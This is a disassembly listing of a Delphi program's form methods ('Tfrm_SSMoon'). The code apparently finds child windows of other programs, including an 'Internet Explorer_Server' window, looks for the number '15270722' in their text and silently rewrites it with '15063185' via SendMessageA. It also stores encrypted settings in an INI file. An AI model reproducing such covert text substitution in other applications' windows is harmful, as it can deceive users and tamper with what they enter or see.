004BB9DF   8B55F4                 mov     edx, [ebp-$0C]
004BB9E2   8B45F8                 mov     eax, [ebp-$08]

|
004BB9E5   E8C63EF5FF             call    0040F8B0
004BB9EA   8B95E8FEFFFF           mov     edx, [ebp+$FFFFFEE8]
004BB9F0   8D45F8                 lea     eax, [ebp-$08]

|
004BB9F3   E8949BF4FF             call    0040558C
004BB9F8   6A00                   push    $00
004BB9FA   6A00                   push    $00
004BB9FC   6A07                   push    $07
004BB9FE   8B4508                 mov     eax, [ebp+$08]
004BBA01   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBA02   E8E9CAF4FF             call    004084F0
004BBA07   8B55F8                 mov     edx, [ebp-$08]
004BBA0A   8BC2                   mov     eax, edx
004BBA0C   85C0                   test    eax, eax
004BBA0E   7405                   jz      004BBA15
004BBA10   83E804                 sub     eax, +$04
004BBA13   8B00                   mov     eax, [eax]
004BBA15   52                     push    edx
004BBA16   50                     push    eax
004BBA17   6A0C                   push    $0C
004BBA19   8B4508                 mov     eax, [ebp+$08]
004BBA1C   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBA1D   E8CECAF4FF             call    004084F0
004BBA22   33C0                   xor     eax, eax
004BBA24   8945F0                 mov     [ebp-$10], eax
004BBA27   E93B020000             jmp     004BBC67
004BBA2C   46                     inc     esi
004BBA2D   4B                     dec     ebx
004BBA2E   0F8570FFFFFF           jnz     004BB9A4
004BBA34   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BBA39   8B8088030000           mov     eax, [eax+$0388]
004BBA3F   8B401C                 mov     eax, [eax+$1C]
004BBA42   8B10                   mov     edx, [eax]
004BBA44   FF5214                 call    dword ptr [edx+$14]
004BBA47   8BD8                   mov     ebx, eax
004BBA49   4B                     dec     ebx
004BBA4A   85DB                   test    ebx, ebx
004BBA4C   0F8C93000000           jl      004BBAE5
004BBA52   43                     inc     ebx
004BBA53   33F6                   xor     esi, esi
004BBA55   8D4DF4                 lea     ecx, [ebp-$0C]
004BBA58   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BBA5D   8B8088030000           mov     eax, [eax+$0388]
004BBA63   8B401C                 mov     eax, [eax+$1C]
004BBA66   8BD6                   mov     edx, esi
004BBA68   8B38                   mov     edi, [eax]
004BBA6A   FF570C                 call    dword ptr [edi+$0C]
004BBA6D   8B55F8                 mov     edx, [ebp-$08]
004BBA70   8B45F4                 mov     eax, [ebp-$0C]

|
004BBA73   E858A0F4FF             call    00405AD0
004BBA78   85C0                   test    eax, eax
004BBA7A   7E61                   jle     004BBADD
004BBA7C   0FB605CCBC4B00         movzx   eax, byte ptr [$004BBCCC]
004BBA83   50                     push    eax
004BBA84   8D85E4FEFFFF           lea     eax, [ebp+$FFFFFEE4]
004BBA8A   50                     push    eax

* Possible String Reference to: '15270722'
|
004BBA8B   B9C0BC4B00             mov     ecx, $004BBCC0
004BBA90   8B55F4                 mov     edx, [ebp-$0C]
004BBA93   8B45F8                 mov     eax, [ebp-$08]

|
004BBA96   E8153EF5FF             call    0040F8B0
004BBA9B   8B95E4FEFFFF           mov     edx, [ebp+$FFFFFEE4]
004BBAA1   8D45F8                 lea     eax, [ebp-$08]

|
004BBAA4   E8E39AF4FF             call    0040558C
004BBAA9   6A00                   push    $00
004BBAAB   6A00                   push    $00
004BBAAD   6A07                   push    $07
004BBAAF   8B4508                 mov     eax, [ebp+$08]
004BBAB2   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBAB3   E838CAF4FF             call    004084F0
004BBAB8   8B55F8                 mov     edx, [ebp-$08]
004BBABB   8BC2                   mov     eax, edx
004BBABD   85C0                   test    eax, eax
004BBABF   7405                   jz      004BBAC6
004BBAC1   83E804                 sub     eax, +$04
004BBAC4   8B00                   mov     eax, [eax]
004BBAC6   52                     push    edx
004BBAC7   50                     push    eax
004BBAC8   6A0C                   push    $0C
004BBACA   8B4508                 mov     eax, [ebp+$08]
004BBACD   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBACE   E81DCAF4FF             call    004084F0
004BBAD3   33C0                   xor     eax, eax
004BBAD5   8945F0                 mov     [ebp-$10], eax
004BBAD8   E98A010000             jmp     004BBC67
004BBADD   46                     inc     esi
004BBADE   4B                     dec     ebx
004BBADF   0F8570FFFFFF           jnz     004BBA55
004BBAE5   8B55F8                 mov     edx, [ebp-$08]

* Possible String Reference to: '15063185'
|
004BBAE8   B8D8BC4B00             mov     eax, $004BBCD8

|
004BBAED   E8DE9FF4FF             call    00405AD0
004BBAF2   85C0                   test    eax, eax
004BBAF4   7E63                   jle     004BBB59
004BBAF6   0FB605CCBC4B00         movzx   eax, byte ptr [$004BBCCC]
004BBAFD   50                     push    eax
004BBAFE   8D85E0FEFFFF           lea     eax, [ebp+$FFFFFEE0]
004BBB04   50                     push    eax

* Possible String Reference to: '15063185'
|
004BBB05   BAD8BC4B00             mov     edx, $004BBCD8

* Possible String Reference to: '15270722'
|
004BBB0A   B9C0BC4B00             mov     ecx, $004BBCC0
004BBB0F   8B45F8                 mov     eax, [ebp-$08]

|
004BBB12   E8993DF5FF             call    0040F8B0
004BBB17   8B95E0FEFFFF           mov     edx, [ebp+$FFFFFEE0]
004BBB1D   8D45F8                 lea     eax, [ebp-$08]

|
004BBB20   E8679AF4FF             call    0040558C
004BBB25   6A00                   push    $00
004BBB27   6A00                   push    $00
004BBB29   6A07                   push    $07
004BBB2B   8B4508                 mov     eax, [ebp+$08]
004BBB2E   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBB2F   E8BCC9F4FF             call    004084F0
004BBB34   8B55F8                 mov     edx, [ebp-$08]
004BBB37   8BC2                   mov     eax, edx
004BBB39   85C0                   test    eax, eax
004BBB3B   7405                   jz      004BBB42
004BBB3D   83E804                 sub     eax, +$04
004BBB40   8B00                   mov     eax, [eax]
004BBB42   52                     push    edx
004BBB43   50                     push    eax
004BBB44   6A0C                   push    $0C
004BBB46   8B4508                 mov     eax, [ebp+$08]
004BBB49   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBB4A   E8A1C9F4FF             call    004084F0
004BBB4F   33C0                   xor     eax, eax
004BBB51   8945F0                 mov     [ebp-$10], eax
004BBB54   E90E010000             jmp     004BBC67

* Possible String Reference to: '15063185'
|
004BBB59   B8D8BC4B00             mov     eax, $004BBCD8
004BBB5E   8B55F8                 mov     edx, [ebp-$08]

|
004BBB61   E86A9FF4FF             call    00405AD0
004BBB66   85C0                   test    eax, eax
004BBB68   7E63                   jle     004BBBCD
004BBB6A   0FB605CCBC4B00         movzx   eax, byte ptr [$004BBCCC]
004BBB71   50                     push    eax
004BBB72   8D85DCFEFFFF           lea     eax, [ebp+$FFFFFEDC]
004BBB78   50                     push    eax

* Possible String Reference to: '15270722'
|
004BBB79   B9C0BC4B00             mov     ecx, $004BBCC0

* Possible String Reference to: '15063185'
|
004BBB7E   BAD8BC4B00             mov     edx, $004BBCD8
004BBB83   8B45F8                 mov     eax, [ebp-$08]

|
004BBB86   E8253DF5FF             call    0040F8B0
004BBB8B   8B95DCFEFFFF           mov     edx, [ebp+$FFFFFEDC]
004BBB91   8D45F8                 lea     eax, [ebp-$08]

|
004BBB94   E8F399F4FF             call    0040558C
004BBB99   6A00                   push    $00
004BBB9B   6A00                   push    $00
004BBB9D   6A07                   push    $07
004BBB9F   8B4508                 mov     eax, [ebp+$08]
004BBBA2   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBBA3   E848C9F4FF             call    004084F0
004BBBA8   8B55F8                 mov     edx, [ebp-$08]
004BBBAB   8BC2                   mov     eax, edx
004BBBAD   85C0                   test    eax, eax
004BBBAF   7405                   jz      004BBBB6
004BBBB1   83E804                 sub     eax, +$04
004BBBB4   8B00                   mov     eax, [eax]
004BBBB6   52                     push    edx
004BBBB7   50                     push    eax
004BBBB8   6A0C                   push    $0C
004BBBBA   8B4508                 mov     eax, [ebp+$08]
004BBBBD   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBBBE   E82DC9F4FF             call    004084F0
004BBBC3   33C0                   xor     eax, eax
004BBBC5   8945F0                 mov     [ebp-$10], eax
004BBBC8   E99A000000             jmp     004BBC67

* Possible String Reference to: '15063185'
|
004BBBCD   B8D8BC4B00             mov     eax, $004BBCD8
004BBBD2   8B55F8                 mov     edx, [ebp-$08]

|
004BBBD5   E8F69EF4FF             call    00405AD0
004BBBDA   85C0                   test    eax, eax
004BBBDC   7E60                   jle     004BBC3E
004BBBDE   0FB605CCBC4B00         movzx   eax, byte ptr [$004BBCCC]
004BBBE5   50                     push    eax
004BBBE6   8D85D8FEFFFF           lea     eax, [ebp+$FFFFFED8]
004BBBEC   50                     push    eax

* Possible String Reference to: '15270722'
|
004BBBED   B9C0BC4B00             mov     ecx, $004BBCC0

* Possible String Reference to: '15063185'
|
004BBBF2   BAD8BC4B00             mov     edx, $004BBCD8
004BBBF7   8B45F8                 mov     eax, [ebp-$08]

|
004BBBFA   E8B13CF5FF             call    0040F8B0
004BBBFF   8B95D8FEFFFF           mov     edx, [ebp+$FFFFFED8]
004BBC05   8D45F8                 lea     eax, [ebp-$08]

|
004BBC08   E87F99F4FF             call    0040558C
004BBC0D   6A00                   push    $00
004BBC0F   6A00                   push    $00
004BBC11   6A07                   push    $07
004BBC13   8B4508                 mov     eax, [ebp+$08]
004BBC16   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBC17   E8D4C8F4FF             call    004084F0
004BBC1C   8B55F8                 mov     edx, [ebp-$08]
004BBC1F   8BC2                   mov     eax, edx
004BBC21   85C0                   test    eax, eax
004BBC23   7405                   jz      004BBC2A
004BBC25   83E804                 sub     eax, +$04
004BBC28   8B00                   mov     eax, [eax]
004BBC2A   52                     push    edx
004BBC2B   50                     push    eax
004BBC2C   6A0C                   push    $0C
004BBC2E   8B4508                 mov     eax, [ebp+$08]
004BBC31   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BBC32   E8B9C8F4FF             call    004084F0
004BBC37   33C0                   xor     eax, eax
004BBC39   8945F0                 mov     [ebp-$10], eax
004BBC3C   EB29                   jmp     004BBC67
004BBC3E   8B45FC                 mov     eax, [ebp-$04]

* Possible String Reference to: 'Internet Explorer_Server'
|
004BBC41   BAECBC4B00             mov     edx, $004BBCEC

|
004BBC46   E8D19CF4FF             call    0040591C
004BBC4B   751A                   jnz     004BBC67
004BBC4D   8B4508                 mov     eax, [ebp+$08]
004BBC50   50                     push    eax

* Reference to: user32.IsWindowVisible()
|
004BBC51   E8AAC7F4FF             call    00408400
004BBC56   85C0                   test    eax, eax
004BBC58   740D                   jz      004BBC67
004BBC5A   33C0                   xor     eax, eax
004BBC5C   8945F0                 mov     [ebp-$10], eax
004BBC5F   8B4508                 mov     eax, [ebp+$08]

|
004BBC62   E83DF9FFFF             call    004BB5A4
004BBC67   33C0                   xor     eax, eax
004BBC69   5A                     pop     edx
004BBC6A   59                     pop     ecx
004BBC6B   59                     pop     ecx
004BBC6C   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BBC6F   6899BC4B00             push    $004BBC99
004BBC74   8D85D8FEFFFF           lea     eax, [ebp+$FFFFFED8]
004BBC7A   BA06000000             mov     edx, $00000006

|
004BBC7F   E89498F4FF             call    00405518
004BBC84   8D45F4                 lea     eax, [ebp-$0C]
004BBC87   BA03000000             mov     edx, $00000003

|
004BBC8C   E88798F4FF             call    00405518
004BBC91   C3                     ret


|
004BBC92   E94590F4FF             jmp     00404CDC
004BBC97   EBDB                   jmp     004BBC74

****** END
|
004BBC99   8B45F0                 mov     eax, [ebp-$10]
004BBC9C   5F                     pop     edi
004BBC9D   5E                     pop     esi
004BBC9E   5B                     pop     ebx
004BBC9F   8BE5                   mov     esp, ebp
004BBCA1   5D                     pop     ebp
004BBCA2   C20400                 ret     $0004

*)
end;

procedure Tfrm_SSMoon._PROC_004BBD09(Sender : TObject);
begin
(*
004BBD09   8BEC                   mov     ebp, esp
004BBD0B   83C4E0                 add     esp, -$20
004BBD0E   53                     push    ebx
004BBD0F   56                     push    esi
004BBD10   57                     push    edi
004BBD11   A158674C00             mov     eax, dword ptr [$004C6758]
004BBD16   C60001                 mov     byte ptr [eax], $01
004BBD19   33C9                   xor     ecx, ecx
004BBD1B   55                     push    ebp

* Possible String Reference to: '閅岕鑔愻gL'
|
004BBD1C   68CABD4B00             push    $004BBDCA

***** TRY
|
004BBD21   64FF31                 push    dword ptr fs:[ecx]
004BBD24   648921                 mov     fs:[ecx], esp
004BBD27   A100634C00             mov     eax, dword ptr [$004C6300]
004BBD2C   833801                 cmp     dword ptr [eax], +$01
004BBD2F   7571                   jnz     004BBDA2
004BBD31   8D45F8                 lea     eax, [ebp-$08]
004BBD34   50                     push    eax

* Reference to: user32.GetCursorPos()
|
004BBD35   E8EEC4F4FF             call    00408228
004BBD3A   8D45E0                 lea     eax, [ebp-$20]
004BBD3D   50                     push    eax

* Reference to: user32.GetForegroundWindow()
|
004BBD3E   E815C5F4FF             call    00408258
004BBD43   50                     push    eax

* Reference to: user32.GetWindowRect()
|
004BBD44   E81FC6F4FF             call    00408368
004BBD49   8B55E8                 mov     edx, [ebp-$18]
004BBD4C   8B45E0                 mov     eax, [ebp-$20]
004BBD4F   2BD0                   sub     edx, eax
004BBD51   D1FA                   sar     edx, 1
004BBD53   7903                   jns     004BBD58
004BBD55   83D200                 adc     edx, +$00
004BBD58   03D0                   add     edx, eax
004BBD5A   8955F0                 mov     [ebp-$10], edx
004BBD5D   8B55EC                 mov     edx, [ebp-$14]
004BBD60   8B45E4                 mov     eax, [ebp-$1C]
004BBD63   2BD0                   sub     edx, eax
004BBD65   D1FA                   sar     edx, 1
004BBD67   7903                   jns     004BBD6C
004BBD69   83D200                 adc     edx, +$00
004BBD6C   03D0                   add     edx, eax
004BBD6E   8955F4                 mov     [ebp-$0C], edx
004BBD71   52                     push    edx
004BBD72   8B45F0                 mov     eax, [ebp-$10]
004BBD75   50                     push    eax

* Reference to: user32.SetCursorPos()
|
004BBD76   E8BDC7F4FF             call    00408538
004BBD7B   FF75F4                 push    dword ptr [ebp-$0C]
004BBD7E   FF75F0                 push    dword ptr [ebp-$10]

* Reference to: user32.WindowFromPoint()
|
004BBD81   E8AAC8F4FF             call    00408630
004BBD86   8BD8                   mov     ebx, eax
004BBD88   8B45FC                 mov     eax, [ebp-$04]
004BBD8B   50                     push    eax
004BBD8C   8B45F8                 mov     eax, [ebp-$08]
004BBD8F   50                     push    eax

* Reference to: user32.SetCursorPos()
|
004BBD90   E8A3C7F4FF             call    00408538
004BBD95   85DB                   test    ebx, ebx
004BBD97   7427                   jz      004BBDC0
004BBD99   8BC3                   mov     eax, ebx

|
004BBD9B   E804F8FFFF             call    004BB5A4
004BBDA0   EB1E                   jmp     004BBDC0
004BBDA2   A100634C00             mov     eax, dword ptr [$004C6300]
004BBDA7   833800                 cmp     dword ptr [eax], +$00
004BBDAA   7514                   jnz     004BBDC0
004BBDAC   6A00                   push    $00

* Possible String Reference to: 'U嬱伳佝SVW3缐呚?墔荥墔帼墔?
|                                ?墔棹墔忐塃鼔E鴫E?繳h捈K'
|
004BBDAE   6800B84B00             push    $004BB800
004BBDB3   A160624C00             mov     eax, dword ptr [$004C6260]
004BBDB8   8B00                   mov     eax, [eax]
004BBDBA   50                     push    eax

* Reference to: user32.EnumChildWindows()
|
004BBDBB   E8D8C3F4FF             call    00408198
004BBDC0   33C0                   xor     eax, eax
004BBDC2   5A                     pop     edx
004BBDC3   59                     pop     ecx
004BBDC4   59                     pop     ecx
004BBDC5   648910                 mov     fs:[eax], edx
004BBDC8   EB0A                   jmp     004BBDD4

|
004BBDCA   E9598CF4FF             jmp     00404A28

|
004BBDCF   E86490F4FF             call    00404E38

****** END
|
004BBDD4   A158674C00             mov     eax, dword ptr [$004C6758]
004BBDD9   C60000                 mov     byte ptr [eax], $00
004BBDDC   5F                     pop     edi
004BBDDD   5E                     pop     esi
004BBDDE   5B                     pop     ebx
004BBDDF   8BE5                   mov     esp, ebp
004BBDE1   5D                     pop     ebp
004BBDE2   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BBDE4(Sender : TObject);
begin
(*
004BBDE4   A12C664C00             mov     eax, dword ptr [$004C662C]
004BBDE9   8B00                   mov     eax, [eax]

|
004BBDEB   E8ACA6FAFF             call    0046649C
004BBDF0   B954DD4C00             mov     ecx, $004CDD54
004BBDF5   A12C664C00             mov     eax, dword ptr [$004C662C]
004BBDFA   8B00                   mov     eax, [eax]

* Reference to class Tfrm_SSMoon
|
004BBDFC   8B15B0A44B00           mov     edx, [$004BA4B0]

|
004BBE02   E8ADA6FAFF             call    004664B4
004BBE07   A154DD4C00             mov     eax, dword ptr [$004CDD54]

* Reference to : TGlassFrame._PROC_004627DC()
|
004BBE0C   E8CB69FAFF             call    004627DC
004BBE11   A12C664C00             mov     eax, dword ptr [$004C662C]
004BBE16   8B00                   mov     eax, [eax]

|
004BBE18   E8CFA7FAFF             call    004665EC
004BBE1D   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BC071(Sender : TObject);
begin
(*
004BC071   8BEC                   mov     ebp, esp
004BC073   B92A000000             mov     ecx, $0000002A
004BC078   6A00                   push    $00
004BC07A   6A00                   push    $00
004BC07C   49                     dec     ecx
004BC07D   75F9                   jnz     004BC078
004BC07F   51                     push    ecx
004BC080   53                     push    ebx
004BC081   56                     push    esi
004BC082   57                     push    edi
004BC083   8BD8                   mov     ebx, eax
004BC085   33C0                   xor     eax, eax
004BC087   55                     push    ebp

* Possible String Reference to: '镺圁豚_^[嬪]?
|
004BC088   6888C54B00             push    $004BC588

***** TRY
|
004BC08D   64FF30                 push    dword ptr fs:[eax]
004BC090   648920                 mov     fs:[eax], esp
004BC093   8D85F4FEFFFF           lea     eax, [ebp+$FFFFFEF4]

* Reference to : TWebBrowser._PROC_00470A04()
|
004BC099   E86649FBFF             call    00470A04
004BC09E   8B85F4FEFFFF           mov     eax, [ebp+$FFFFFEF4]
004BC0A4   8D95F8FEFFFF           lea     edx, [ebp+$FFFFFEF8]

|
004BC0AA   E881E8F4FF             call    0040A930
004BC0AF   8B85F8FEFFFF           mov     eax, [ebp+$FFFFFEF8]
004BC0B5   8D55FC                 lea     edx, [ebp-$04]

|
004BC0B8   E8534BFBFF             call    00470C10
004BC0BD   A1E4664C00             mov     eax, dword ptr [$004C66E4]

|
004BC0C2   E82D94F4FF             call    004054F4
004BC0C7   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]
004BC0CD   33C9                   xor     ecx, ecx
004BC0CF   BA00010000             mov     edx, $00000100

|
004BC0D4   E85F79F4FF             call    00403A38
004BC0D9   8B45FC                 mov     eax, [ebp-$04]

|
004BC0DC   E8A398F4FF             call    00405984
004BC0E1   8BF0                   mov     esi, eax
004BC0E3   56                     push    esi
004BC0E4   6800010000             push    $00000100
004BC0E9   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]
004BC0EF   50                     push    eax
004BC0F0   6898C54B00             push    $004BC598

* Possible String Reference to: 'CD1'
|
004BC0F5   689CC54B00             push    $004BC59C

* Possible String Reference to: 'DBI'
|
004BC0FA   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.GetPrivateProfileStringA()
|
004BC0FF   E88CBBF4FF             call    00407C90
004BC104   8D95F0FEFFFF           lea     edx, [ebp+$FFFFFEF0]
004BC10A   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]

|
004BC110   E83BECF4FF             call    0040AD50
004BC115   8B95F0FEFFFF           mov     edx, [ebp+$FFFFFEF0]
004BC11B   A1E4664C00             mov     eax, dword ptr [$004C66E4]

|
004BC120   E82394F4FF             call    00405548
004BC125   A1E4664C00             mov     eax, dword ptr [$004C66E4]
004BC12A   833800                 cmp     dword ptr [eax], +$00
004BC12D   7571                   jnz     004BC1A0

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC12F   8B8388030000           mov     eax, [ebx+$0388]
004BC135   8B4020                 mov     eax, [eax+$20]
004BC138   8B10                   mov     edx, [eax]
004BC13A   FF5214                 call    dword ptr [edx+$14]

|
004BC13D   E8C272F4FF             call    00403404
004BC142   8BD0                   mov     edx, eax
004BC144   8D8DECFEFFFF           lea     ecx, [ebp+$FFFFFEEC]

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC14A   8B8388030000           mov     eax, [ebx+$0388]
004BC150   8B4020                 mov     eax, [eax+$20]
004BC153   8B38                   mov     edi, [eax]
004BC155   FF570C                 call    dword ptr [edi+$0C]
004BC158   8B95ECFEFFFF           mov     edx, [ebp+$FFFFFEEC]
004BC15E   A1E4664C00             mov     eax, dword ptr [$004C66E4]

|
004BC163   E8E093F4FF             call    00405548
004BC168   56                     push    esi
004BC169   8D8DE8FEFFFF           lea     ecx, [ebp+$FFFFFEE8]
004BC16F   A1E4664C00             mov     eax, dword ptr [$004C66E4]
004BC174   8B00                   mov     eax, [eax]

* Possible String Reference to: 'B85609AEF9C6'
|
004BC176   BAACC54B00             mov     edx, $004BC5AC

|
004BC17B   E8DC57FBFF             call    0047195C
004BC180   8B85E8FEFFFF           mov     eax, [ebp+$FFFFFEE8]

|
004BC186   E8F997F4FF             call    00405984
004BC18B   50                     push    eax

* Possible String Reference to: 'CD1'
|
004BC18C   689CC54B00             push    $004BC59C

* Possible String Reference to: 'DBI'
|
004BC191   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.WritePrivateProfileStringA()
|
004BC196   E865BCF4FF             call    00407E00
004BC19B   E9B0000000             jmp     004BC250
004BC1A0   8D8DE4FEFFFF           lea     ecx, [ebp+$FFFFFEE4]
004BC1A6   A1E4664C00             mov     eax, dword ptr [$004C66E4]
004BC1AB   8B00                   mov     eax, [eax]
004BC1AD   50                     push    eax

* Possible String Reference to: 'B85609AEF9C6'
|
004BC1AE   BAACC54B00             mov     edx, $004BC5AC
004BC1B3   58                     pop     eax

|
004BC1B4   E88759FBFF             call    00471B40
004BC1B9   8B95E4FEFFFF           mov     edx, [ebp+$FFFFFEE4]
004BC1BF   A1E4664C00             mov     eax, dword ptr [$004C66E4]

|
004BC1C4   E87F93F4FF             call    00405548
004BC1C9   8B15E4664C00           mov     edx, [$004C66E4]
004BC1CF   8B12                   mov     edx, [edx]

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC1D1   8B8388030000           mov     eax, [ebx+$0388]
004BC1D7   8B4020                 mov     eax, [eax+$20]
004BC1DA   8B08                   mov     ecx, [eax]
004BC1DC   FF5154                 call    dword ptr [ecx+$54]
004BC1DF   40                     inc     eax
004BC1E0   756E                   jnz     004BC250

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC1E2   8B8388030000           mov     eax, [ebx+$0388]
004BC1E8   8B4020                 mov     eax, [eax+$20]
004BC1EB   8B10                   mov     edx, [eax]
004BC1ED   FF5214                 call    dword ptr [edx+$14]

|
004BC1F0   E80F72F4FF             call    00403404
004BC1F5   8BD0                   mov     edx, eax
004BC1F7   8D8DE0FEFFFF           lea     ecx, [ebp+$FFFFFEE0]

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC1FD   8B8388030000           mov     eax, [ebx+$0388]
004BC203   8B4020                 mov     eax, [eax+$20]
004BC206   8B38                   mov     edi, [eax]
004BC208   FF570C                 call    dword ptr [edi+$0C]
004BC20B   8B95E0FEFFFF           mov     edx, [ebp+$FFFFFEE0]
004BC211   A1E4664C00             mov     eax, dword ptr [$004C66E4]

|
004BC216   E82D93F4FF             call    00405548
004BC21B   56                     push    esi
004BC21C   8D8DDCFEFFFF           lea     ecx, [ebp+$FFFFFEDC]
004BC222   A1E4664C00             mov     eax, dword ptr [$004C66E4]
004BC227   8B00                   mov     eax, [eax]
004BC229   50                     push    eax

* Possible String Reference to: 'B85609AEF9C6'
|
004BC22A   BAACC54B00             mov     edx, $004BC5AC
004BC22F   58                     pop     eax

|
004BC230   E82757FBFF             call    0047195C
004BC235   8B85DCFEFFFF           mov     eax, [ebp+$FFFFFEDC]

|
004BC23B   E84497F4FF             call    00405984
004BC240   50                     push    eax

* Possible String Reference to: 'CD1'
|
004BC241   689CC54B00             push    $004BC59C

* Possible String Reference to: 'DBI'
|
004BC246   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.WritePrivateProfileStringA()
|
004BC24B   E8B0BBF4FF             call    00407E00
004BC250   A110644C00             mov     eax, dword ptr [$004C6410]

|
004BC255   E89A92F4FF             call    004054F4
004BC25A   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]
004BC260   33C9                   xor     ecx, ecx
004BC262   BA00010000             mov     edx, $00000100

|
004BC267   E8CC77F4FF             call    00403A38
004BC26C   56                     push    esi
004BC26D   6800010000             push    $00000100
004BC272   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]
004BC278   50                     push    eax
004BC279   6898C54B00             push    $004BC598

* Possible String Reference to: 'CD2'
|
004BC27E   68BCC54B00             push    $004BC5BC

* Possible String Reference to: 'DBI'
|
004BC283   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.GetPrivateProfileStringA()
|
004BC288   E803BAF4FF             call    00407C90
004BC28D   8D95D8FEFFFF           lea     edx, [ebp+$FFFFFED8]
004BC293   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]

|
004BC299   E8B2EAF4FF             call    0040AD50
004BC29E   8B95D8FEFFFF           mov     edx, [ebp+$FFFFFED8]
004BC2A4   A110644C00             mov     eax, dword ptr [$004C6410]

|
004BC2A9   E89A92F4FF             call    00405548
004BC2AE   A110644C00             mov     eax, dword ptr [$004C6410]
004BC2B3   833800                 cmp     dword ptr [eax], +$00
004BC2B6   7573                   jnz     004BC32B

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC2B8   8B8388030000           mov     eax, [ebx+$0388]
004BC2BE   8B4018                 mov     eax, [eax+$18]
004BC2C1   8B10                   mov     edx, [eax]
004BC2C3   FF5214                 call    dword ptr [edx+$14]

|
004BC2C6   E83971F4FF             call    00403404
004BC2CB   8BD0                   mov     edx, eax
004BC2CD   8D8DD4FEFFFF           lea     ecx, [ebp+$FFFFFED4]

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC2D3   8B8388030000           mov     eax, [ebx+$0388]
004BC2D9   8B4018                 mov     eax, [eax+$18]
004BC2DC   8B38                   mov     edi, [eax]
004BC2DE   FF570C                 call    dword ptr [edi+$0C]
004BC2E1   8B95D4FEFFFF           mov     edx, [ebp+$FFFFFED4]
004BC2E7   A110644C00             mov     eax, dword ptr [$004C6410]

|
004BC2EC   E85792F4FF             call    00405548
004BC2F1   56                     push    esi
004BC2F2   8D8DD0FEFFFF           lea     ecx, [ebp+$FFFFFED0]
004BC2F8   A110644C00             mov     eax, dword ptr [$004C6410]
004BC2FD   8B00                   mov     eax, [eax]
004BC2FF   50                     push    eax

* Possible String Reference to: 'B85609AEF9C6'
|
004BC300   BAACC54B00             mov     edx, $004BC5AC
004BC305   58                     pop     eax

|
004BC306   E85156FBFF             call    0047195C
004BC30B   8B85D0FEFFFF           mov     eax, [ebp+$FFFFFED0]

|
004BC311   E86E96F4FF             call    00405984
004BC316   50                     push    eax

* Possible String Reference to: 'CD2'
|
004BC317   68BCC54B00             push    $004BC5BC

* Possible String Reference to: 'DBI'
|
004BC31C   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.WritePrivateProfileStringA()
|
004BC321   E8DABAF4FF             call    00407E00
004BC326   E9B0000000             jmp     004BC3DB
004BC32B   8D8DCCFEFFFF           lea     ecx, [ebp+$FFFFFECC]
004BC331   A110644C00             mov     eax, dword ptr [$004C6410]
004BC336   8B00                   mov     eax, [eax]
004BC338   50                     push    eax

* Possible String Reference to: 'B85609AEF9C6'
|
004BC339   BAACC54B00             mov     edx, $004BC5AC
004BC33E   58                     pop     eax

|
004BC33F   E8FC57FBFF             call    00471B40
004BC344   8B95CCFEFFFF           mov     edx, [ebp+$FFFFFECC]
004BC34A   A110644C00             mov     eax, dword ptr [$004C6410]

|
004BC34F   E8F491F4FF             call    00405548
004BC354   8B1510644C00           mov     edx, [$004C6410]
004BC35A   8B12                   mov     edx, [edx]

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC35C   8B8388030000           mov     eax, [ebx+$0388]
004BC362   8B4018                 mov     eax, [eax+$18]
004BC365   8B08                   mov     ecx, [eax]
004BC367   FF5154                 call    dword ptr [ecx+$54]
004BC36A   40                     inc     eax
004BC36B   756E                   jnz     004BC3DB

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC36D   8B8388030000           mov     eax, [ebx+$0388]
004BC373   8B4018                 mov     eax, [eax+$18]
004BC376   8B10                   mov     edx, [eax]
004BC378   FF5214                 call    dword ptr [edx+$14]

|
004BC37B   E88470F4FF             call    00403404
004BC380   8BD0                   mov     edx, eax
004BC382   8D8DC8FEFFFF           lea     ecx, [ebp+$FFFFFEC8]

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC388   8B8388030000           mov     eax, [ebx+$0388]
004BC38E   8B4018                 mov     eax, [eax+$18]
004BC391   8B38                   mov     edi, [eax]
004BC393   FF570C                 call    dword ptr [edi+$0C]
004BC396   8B95C8FEFFFF           mov     edx, [ebp+$FFFFFEC8]
004BC39C   A110644C00             mov     eax, dword ptr [$004C6410]

|
004BC3A1   E8A291F4FF             call    00405548
004BC3A6   56                     push    esi
004BC3A7   8D8DC4FEFFFF           lea     ecx, [ebp+$FFFFFEC4]
004BC3AD   A110644C00             mov     eax, dword ptr [$004C6410]
004BC3B2   8B00                   mov     eax, [eax]
004BC3B4   50                     push    eax

* Possible String Reference to: 'B85609AEF9C6'
|
004BC3B5   BAACC54B00             mov     edx, $004BC5AC
004BC3BA   58                     pop     eax

|
004BC3BB   E89C55FBFF             call    0047195C
